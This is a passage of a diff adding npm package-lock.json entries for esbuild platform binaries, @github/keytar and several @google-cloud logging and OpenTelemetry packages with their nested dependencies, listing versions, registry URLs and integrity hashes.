"sha512-B48PqeCsEgOtzME2GbNM2roU29AMTuOIN91dsMO30t+Ydis3z/3Ngoj5hhnsOSSwNzS+6JppqWsuhTp6E82l2w==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.27.7.tgz", + "integrity": "sha512-jOBDK5XEjA4m5IJK3bpAQF9/Lelu/Z9ZcdhTRLf4cajlB+8VEhFFRjWgfy3M1O4rO2GQ/b2dLwCUGpiF/eATNQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.27.7.tgz", + "integrity": "sha512-RkT/YXYBTSULo3+af8Ib0ykH8u2MBh57o7q/DAs3lTJlyVQkgQvlrPTnjIzzRPQyavxtPtfg0EopvDyIt0j1rA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.27.7.tgz", + "integrity": "sha512-RZPHBoxXuNnPQO9rvjh5jdkRmVizktkT7TCDkDmQ0W2SwHInKCAV95GRuvdSvA7w4VMwfCjUiPwDi0ZO6Nfe9A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.27.7.tgz", + "integrity": "sha512-GA48aKNkyQDbd3KtkplYWT102C5sn/EZTY4XROkxONgruHPU72l+gW+FfF8tf2cFjeHaRbWpOYa/uRBz/Xq1Pg==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.27.7.tgz", + "integrity": "sha512-a4POruNM2oWsD4WKvBSEKGIiWQF8fZOAsycHOt6JBpZ+JN2n2JH9WAv56SOyu9X5IqAjqSIPTaJkqN8F7XOQ5Q==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.27.7.tgz", + "integrity": "sha512-KabT5I6StirGfIz0FMgl1I+R1H73Gp0ofL9A3nG3i/cYFJzKHhouBV5VWK1CSgKvVaG4q1RNpCTR2LuTVB3fIw==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.27.7.tgz", + "integrity": "sha512-gRsL4x6wsGHGRqhtI+ifpN/vpOFTQtnbsupUF5R5YTAg+y/lKelYR1hXbnBdzDjGbMYjVJLJTd2OFmMewAgwlQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.27.7.tgz", + "integrity": "sha512-hL25LbxO1QOngGzu2U5xeXtxXcW+/GvMN3ejANqXkxZ/opySAZMrc+9LY/WyjAan41unrR3YrmtTsUpwT66InQ==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.27.7.tgz", + "integrity": "sha512-2k8go8Ycu1Kb46vEelhu1vqEP+UeRVj2zY1pSuPdgvbd5ykAw82Lrro28vXUrRmzEsUV0NzCf54yARIK8r0fdw==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.27.7.tgz", + "integrity": "sha512-hzznmADPt+OmsYzw1EE33ccA+HPdIqiCRq7cQeL1Jlq2gb1+OyWBkMCrYGBJ+sxVzve2ZJEVeePbLM2iEIZSxA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-arm64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.27.7.tgz", + "integrity": "sha512-b6pqtrQdigZBwZxAn1UpazEisvwaIDvdbMbmrly7cDTMFnw/+3lVxxCTGOrkPVnsYIosJJXAsILG9XcQS+Yu6w==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.27.7.tgz", + "integrity": "sha512-OfatkLojr6U+WN5EDYuoQhtM+1xco+/6FSzJJnuWiUw5eVcicbyK3dq5EeV/QHT1uy6GoDhGbFpprUiHUYggrw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-arm64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.27.7.tgz", + "integrity": "sha512-AFuojMQTxAz75Fo8idVcqoQWEHIXFRbOc1TrVcFSgCZtQfSdc1RXgB3tjOn/krRHENUB4j00bfGjyl2mJrU37A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.27.7.tgz", + "integrity": "sha512-+A1NJmfM8WNDv5CLVQYJ5PshuRm/4cI6WMZRg1by1GwPIQPCTs1GLEUHwiiQGT5zDdyLiRM/l1G0Pv54gvtKIg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openharmony-arm64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.27.7.tgz", + "integrity": "sha512-+KrvYb/C8zA9CU/g0sR6w2RBw7IGc5J2BPnc3dYc5VJxHCSF1yNMxTV5LQ7GuKteQXZtspjFbiuW5/dOj7H4Yw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.27.7.tgz", + "integrity": "sha512-ikktIhFBzQNt/QDyOL580ti9+5mL/YZeUPKU2ivGtGjdTYoqz6jObj6nOMfhASpS4GU4Q/Clh1QtxWAvcYKamA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.27.7.tgz", + "integrity": "sha512-7yRhbHvPqSpRUV7Q20VuDwbjW5kIMwTHpptuUzV+AA46kiPze5Z7qgt6CLCK3pWFrHeNfDd1VKgyP4O+ng17CA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.27.7.tgz", + "integrity": "sha512-SmwKXe6VHIyZYbBLJrhOoCJRB/Z1tckzmgTLfFYOfpMAx63BJEaL9ExI8x7v0oAO3Zh6D/Oi1gVxEYr5oUCFhw==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.27.7.tgz", + "integrity": "sha512-56hiAJPhwQ1R4i+21FVF7V8kSD5zZTdHcVuRFMW0hn753vVfQN8xlx4uOPT4xoGH0Z/oVATuR82AiqSTDIpaHg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@github/keytar": { + "version": "7.10.6", + "resolved": "https://registry.npmjs.org/@github/keytar/-/keytar-7.10.6.tgz", + "integrity": "sha512-mRW6cUsSG+nj4jp5gp8e91zPySaT73r+2JM6VyMZfrEgksjPmjSMr+tPGNOK3HUHV+GUU9B1LAiiYy/wmAnIxA==", + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "dependencies": { + "node-addon-api": "^8.3.0" + } + }, + "node_modules/@google-cloud/common": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/@google-cloud/common/-/common-5.0.2.tgz", + "integrity": "sha512-V7bmBKYQyu0eVG2BFejuUjlBt+zrya6vtsKdY+JxMM/dNntPF41vZ9+LhOshEUH01zOHEqBSvI7Dad7ZS6aUeA==", + "license": "Apache-2.0", + "dependencies": { + "@google-cloud/projectify": "^4.0.0", + "@google-cloud/promisify": "^4.0.0", + "arrify": "^2.0.1", + "duplexify": "^4.1.1", + "extend": "^3.0.2", + "google-auth-library": "^9.0.0", + "html-entities": "^2.5.2", + "retry-request": "^7.0.0", + "teeny-request": "^9.0.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@google-cloud/common/node_modules/gaxios": { + "version": "6.7.1", + "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-6.7.1.tgz", + "integrity": "sha512-LDODD4TMYx7XXdpwxAVRAIAuB0bzv0s+ywFonY46k126qzQHT9ygyoa9tncmOiQmmDrik65UYsEkv3lbfqQ3yQ==", + "license": "Apache-2.0", + "dependencies": { + "extend": "^3.0.2", + "https-proxy-agent": "^7.0.1", + "is-stream": "^2.0.0", + "node-fetch": "^2.6.9", + "uuid": "^9.0.1" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@google-cloud/common/node_modules/gcp-metadata": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-6.1.1.tgz", + "integrity": "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A==", + "license": "Apache-2.0", + "dependencies": { + "gaxios": "^6.1.1", + "google-logging-utils": "^0.0.2", + "json-bigint": "^1.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@google-cloud/common/node_modules/google-auth-library": { + "version": "9.15.1", + "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-9.15.1.tgz", + "integrity": "sha512-Jb6Z0+nvECVz+2lzSMt9u98UsoakXxA2HGHMCxh+so3n90XgYWkq5dur19JAJV7ONiJY22yBTyJB1TSkvPq9Ng==", + "license": "Apache-2.0", + "dependencies": { + "base64-js": "^1.3.0", + "ecdsa-sig-formatter": "^1.0.11", + "gaxios": "^6.1.1", + "gcp-metadata": "^6.1.0", + "gtoken": "^7.0.0", + "jws": "^4.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@google-cloud/common/node_modules/google-logging-utils": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-0.0.2.tgz", + "integrity": "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=14" + } + }, + "node_modules/@google-cloud/common/node_modules/node-fetch": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", + "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", + "license": "MIT", + "dependencies": { + "whatwg-url": "^5.0.0" + }, + "engines": { + "node": "4.x || >=6.0.0" + }, + "peerDependencies": { + "encoding": "^0.1.0" + }, + "peerDependenciesMeta": { + "encoding": { + "optional": true + } + } + }, + "node_modules/@google-cloud/logging": { + "version": "11.2.1", + "resolved": "https://registry.npmjs.org/@google-cloud/logging/-/logging-11.2.1.tgz", + "integrity": "sha512-2h9HBJG3OAsvzXmb81qXmaTPfXYU7KJTQUxunoOKFGnY293YQ/eCkW1Y5mHLocwpEqeqQYT/Qvl6Tk+Q7PfStw==", + "license": "Apache-2.0", + "dependencies": { + "@google-cloud/common": "^5.0.0", + "@google-cloud/paginator": "^5.0.0", + "@google-cloud/projectify": "^4.0.0", + "@google-cloud/promisify": "4.0.0", + "@opentelemetry/api": "^1.7.0", + "arrify": "^2.0.1", + "dot-prop": "^6.0.0", + "eventid": "^2.0.0", + "extend": "^3.0.2", + "gcp-metadata": "^6.0.0", + "google-auth-library": "^9.0.0", + "google-gax": "^4.0.3", + "on-finished": "^2.3.0", + "pumpify": "^2.0.1", + "stream-events": "^1.0.5", + "uuid": "^9.0.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@google-cloud/logging/node_modules/gaxios": { + "version": "6.7.1", + "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-6.7.1.tgz", + "integrity": "sha512-LDODD4TMYx7XXdpwxAVRAIAuB0bzv0s+ywFonY46k126qzQHT9ygyoa9tncmOiQmmDrik65UYsEkv3lbfqQ3yQ==", + "license": "Apache-2.0", + "dependencies": { + "extend": "^3.0.2", + "https-proxy-agent": "^7.0.1", + "is-stream": "^2.0.0", + "node-fetch": "^2.6.9", + "uuid": "^9.0.1" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@google-cloud/logging/node_modules/gcp-metadata": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-6.1.1.tgz", + "integrity": "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A==", + "license": "Apache-2.0", + "dependencies": { + "gaxios": "^6.1.1", + "google-logging-utils": "^0.0.2", + "json-bigint": "^1.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@google-cloud/logging/node_modules/google-auth-library": { + "version": "9.15.1", + "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-9.15.1.tgz", + "integrity": "sha512-Jb6Z0+nvECVz+2lzSMt9u98UsoakXxA2HGHMCxh+so3n90XgYWkq5dur19JAJV7ONiJY22yBTyJB1TSkvPq9Ng==", + "license": "Apache-2.0", + "dependencies": { + "base64-js": "^1.3.0", + "ecdsa-sig-formatter": "^1.0.11", + "gaxios": "^6.1.1", + "gcp-metadata": "^6.1.0", + "gtoken": "^7.0.0", + "jws": "^4.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@google-cloud/logging/node_modules/google-logging-utils": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-0.0.2.tgz", + "integrity": "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=14" + } + }, + "node_modules/@google-cloud/logging/node_modules/node-fetch": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", + "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", + "license": "MIT", + "dependencies": { + "whatwg-url": "^5.0.0" + }, + "engines": { + "node": "4.x || >=6.0.0" + }, + "peerDependencies": { + "encoding": "^0.1.0" + }, + "peerDependenciesMeta": { + "encoding": { + "optional": true + } + } + }, + "node_modules/@google-cloud/opentelemetry-cloud-monitoring-exporter": { + "version": "0.21.0", + "resolved": "https://registry.npmjs.org/@google-cloud/opentelemetry-cloud-monitoring-exporter/-/opentelemetry-cloud-monitoring-exporter-0.21.0.tgz", + "integrity": "sha512-+lAew44pWt6rA4l8dQ1gGhH7Uo95wZKfq/GBf9aEyuNDDLQ2XppGEEReu6ujesSqTtZ8ueQFt73+7SReSHbwqg==", + "license": "Apache-2.0", + "dependencies": { + "@google-cloud/opentelemetry-resource-util": "^3.0.0", + "@google-cloud/precise-date": "^4.0.0", + "google-auth-library": "^9.0.0", + "googleapis": "^137.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.9.0", + "@opentelemetry/core": "^2.0.0", + "@opentelemetry/resources": "^2.0.0", + "@opentelemetry/sdk-metrics": "^2.0.0" + } + }, + "node_modules/@google-cloud/opentelemetry-cloud-monitoring-exporter/node_modules/gaxios": { + "version": "6.7.1", + "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-6.7.1.tgz", + "integrity": "sha512-LDODD4TMYx7XXdpwxAVRAIAuB0bzv0s+ywFonY46k126qzQHT9ygyoa9tncmOiQmmDrik65UYsEkv3lbfqQ3yQ==", + "license": "Apache-2.0", + "dependencies": { + "extend": "^3.0.2", + "https-proxy-agent": "^7.0.1", + "is-stream": "^2.0.0", + "node-fetch": "^2.6.9", + "uuid": "^9.0.1" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@google-cloud/opentelemetry-cloud-monitoring-exporter/node_modules/gcp-metadata": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-6.1.1.tgz", + "integrity": "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A==", + "license": "Apache-2.0", + "dependencies": { + "gaxios": "^6.1.1", + "google-logging-utils": "^0.0.2", + "json-bigint": "^1.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@google-cloud/opentelemetry-cloud-monitoring-exporter/node_modules/google-auth-library": { + "version": "9.15.1", + "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-9.15.1.tgz", + "integrity": "sha512-Jb6Z0+nvECVz+2lzSMt9u98UsoakXxA2HGHMCxh+so3n90XgYWkq5dur19JAJV7ONiJY22yBTyJB1TSkvPq9Ng==", + "license": "Apache-2.0", + "dependencies": { + "base64-js": "^1.3.0", + "ecdsa-sig-formatter": "^1.0.11", + "gaxios": "^6.1.1", + "gcp-metadata": "^6.1.0", + "gtoken": "^7.0.0", + "jws": "^4.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@google-cloud/opentelemetry-cloud-monitoring-exporter/node_modules/google-logging-utils": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-0.0.2.tgz", + "integrity": "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=14" + } + }, + "node_modules/@google-cloud/opentelemetry-cloud-monitoring-exporter/node_modules/node-fetch": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", + "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", + "license": "MIT", + "dependencies": { + "whatwg-url": "^5.0.0" + }, + "engines": { + "node": "4.x || >=6.0.0" + }, + "peerDependencies": { + "encoding": "^0.1.0" + }, + "peerDependenciesMeta": { + "encoding": { + "optional": true + } + } + }, + "node_modules/@google-cloud/opentelemetry-cloud-trace-exporter": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@google-cloud/opentelemetry-cloud-trace-exporter/-/opentelemetry-cloud-trace-exporter-3.0.0.tgz", + "integrity": "sha512-mUfLJBFo+ESbO0dAGboErx2VyZ7rbrHcQvTP99yH/J72dGaPbH2IzS+04TFbTbEd1VW5R9uK3xq2CqawQaG+1Q==", + "license": "Apache-2.0", + "dependencies": { + "@google-cloud/opentelemetry-resource-util": "^3.0.0", + "@grpc/grpc-js": "^1.1.8", + "@grpc/proto-loader": "^0.8.0", + "google-auth-library": "^9.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.0.0", + "@opentelemetry/core": "^2.0.0", + "@opentelemetry/resources": "^2.0.0", + "@opentelemetry/sdk-trace-base": "^2.0.0" + } + }, + "node_modules/@google-cloud/opentelemetry-cloud-trace-exporter/node_modules/gaxios": { + "version": "6.7.1", + "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-6.7.1.tgz", + "integrity": "sha512-LDODD4TMYx7XXdpwxAVRAIAuB0bzv0s+ywFonY46k126qzQHT9ygyoa9tncmOiQmmDrik65UYsEkv3lbfqQ3yQ==", + "license": "Apache-2.0", + "dependencies": { + "extend": "^3.0.2", + "https-proxy-agent": "^7.0.1", + "is-stream": "^2.0.0", + "node-fetch": "^2.6.9", + "uuid": "^9.0.1" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@google-cloud/opentelemetry-cloud-trace-exporter/node_modules/gcp-metadata": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-6.1.1.tgz", + "integrity": "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A==", + "license": "Apache-2.0", + "dependencies": { + "gaxios": "^6.1.1", + "google-logging-utils": "^0.0.2", + "json-bigint": "^1.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@google-cloud/opentelemetry-cloud-trace-exporter/node_modules/google-auth-library": { + "version": "9.15.1", + "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-9.15.1.tgz", + "integrity": "sha512-Jb6Z0+nvECVz+2lzSMt9u98UsoakXxA2HGHMCxh+so3n90XgYWkq5dur19JAJV7ONiJY22yBTyJB1TSkvPq9Ng==", + "license": "Apache-2.0", + "dependencies": { + "base64-js": "^1.3.0", + "ecdsa-sig-formatter": "^1.0.11", + "gaxios": "^6.1.1", + "gcp-metadata": "^6.1.0", + "gtoken": "^7.0.0", + "jws": "^4.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@google-cloud/opentelemetry-cloud-trace-exporter/node_modules/google-logging-utils": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-0.0.2.tgz", + "integrity": "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=14" + } + }, + "node_modules/@google-cloud/opentelemetry-cloud-trace-exporter/node_modules/node-fetch": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", + "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", + "license": "MIT", + "dependencies": { + "whatwg-url": "^5.0.0" + }, + "engines": { + "node": "4.x || >=6.0.0" + }, + "peerDependencies": { + "encoding": "^0.1.0" + }, + "peerDependenciesMeta": { + "encoding": { + "optional": true + } + } + }, + "node_modules/@google-cloud/opentelemetry-resource-util": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@google-cloud/opentelemetry-resource-util/-/opentelemetry-resource-util-3.0.0.tgz", + "integrity": "sha512-CGR/lNzIfTKlZoZFfS6CkVzx+nsC9gzy6S8VcyaLegfEJbiPjxbMLP7csyhJTvZe/iRRcQJxSk0q8gfrGqD3/Q==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.22.0", + "gcp-metadata": "^6.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@opentelemetry/core": "^2.0.0", + "@opentelemetry/resources": "^2.0.0" + } + }, + "node_modules/@google-cloud/opentelemetry-resource-util/node_modules/gaxios": { + "version": "6.7.1", + "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-6.7.1.tgz", + "integrity": "sha512-LDODD4TMYx7XXdpwxAVRAIAuB0bzv0s+ywFonY46k126qzQHT9ygyoa9tncmOiQmmDrik65UYsEkv3lbfqQ3yQ==", + "license": "Apache-2.0", + "dependencies": { + "extend": "^3.0.2", + "https-proxy-agent": "^7.0.1", + "is-stream": "^2.0.0", + "node-fetch": "^2.6.9", + "uuid": "^9.0.1" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@google-cloud/opentelemetry-resource-util/node_modules/gcp-metadata": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-6.1.1.tgz", + "integrity": "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A==", + "license": "Apache-2.0", + "dependencies": { + "gaxios": "^6.1.1", + "google-logging-utils": "^0.0.2", + "json-bigint": "^1.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@google-cloud/opentelemetry-resource-util/node_modules/google-logging-utils": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-0.0.2.tgz", + "integrity": "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=14" + } + }, + "node_modules/@google-cloud/opentelemetry-resource-util/node_modules/node-fetch": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", + "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", + "license": "MIT", + "dependencies": { + "whatwg-url": "^5.0.0" + }, + "engines": { + "node": "4.x || >=6.0.0" + }, + "peerDependencies": { + "encoding": "^0.1.0" + }, + "peerDependenciesMeta": { + "encoding": { + "optional": true + } + } + }, + "node_modules/@google-cloud/paginator": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/@google-cloud/paginator/-/paginator-5.0.2.tgz", + "integrity": "sha512-DJS3s0OVH4zFDB1PzjxAsHqJT6sKVbRwwML0ZBP9PbU7Yebtu/7SWMRzvO2J3nUi9pRNITCfu4LJeooM2w4pjg==", + "license": "Apache-2.0", + "dependencies": { + "arrify": "^2.0.0", + "extend": "^3.0.2" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@google-cloud/precise-date": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@google-cloud/precise-date/-/precise-date-4.0.0.tgz", + "integrity": "sha512-1TUx3KdaU3cN7nfCdNf+UVqA/PSX29Cjcox3fZZBtINlRrXVTmUkQnCKv2MbBUbCopbK4olAT1IHl76uZyCiVA==", + "license": "Apache-2.0", + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@google-cloud/projectify": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@google-cloud/projectify/-/projectify-4.0.0.tgz", + "integrity": "sha512-MmaX6HeSvyPbWGwFq7mXdo0uQZLGBYCwziiLIGq5JVX+/bdI3SAq6bP98trV5eTWfLuvsMcIC1YJOF2vfteLFA==", + "license": "Apache-2.0", + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@google-cloud/promisify": { + "version": "4.0.0", + "resolved": 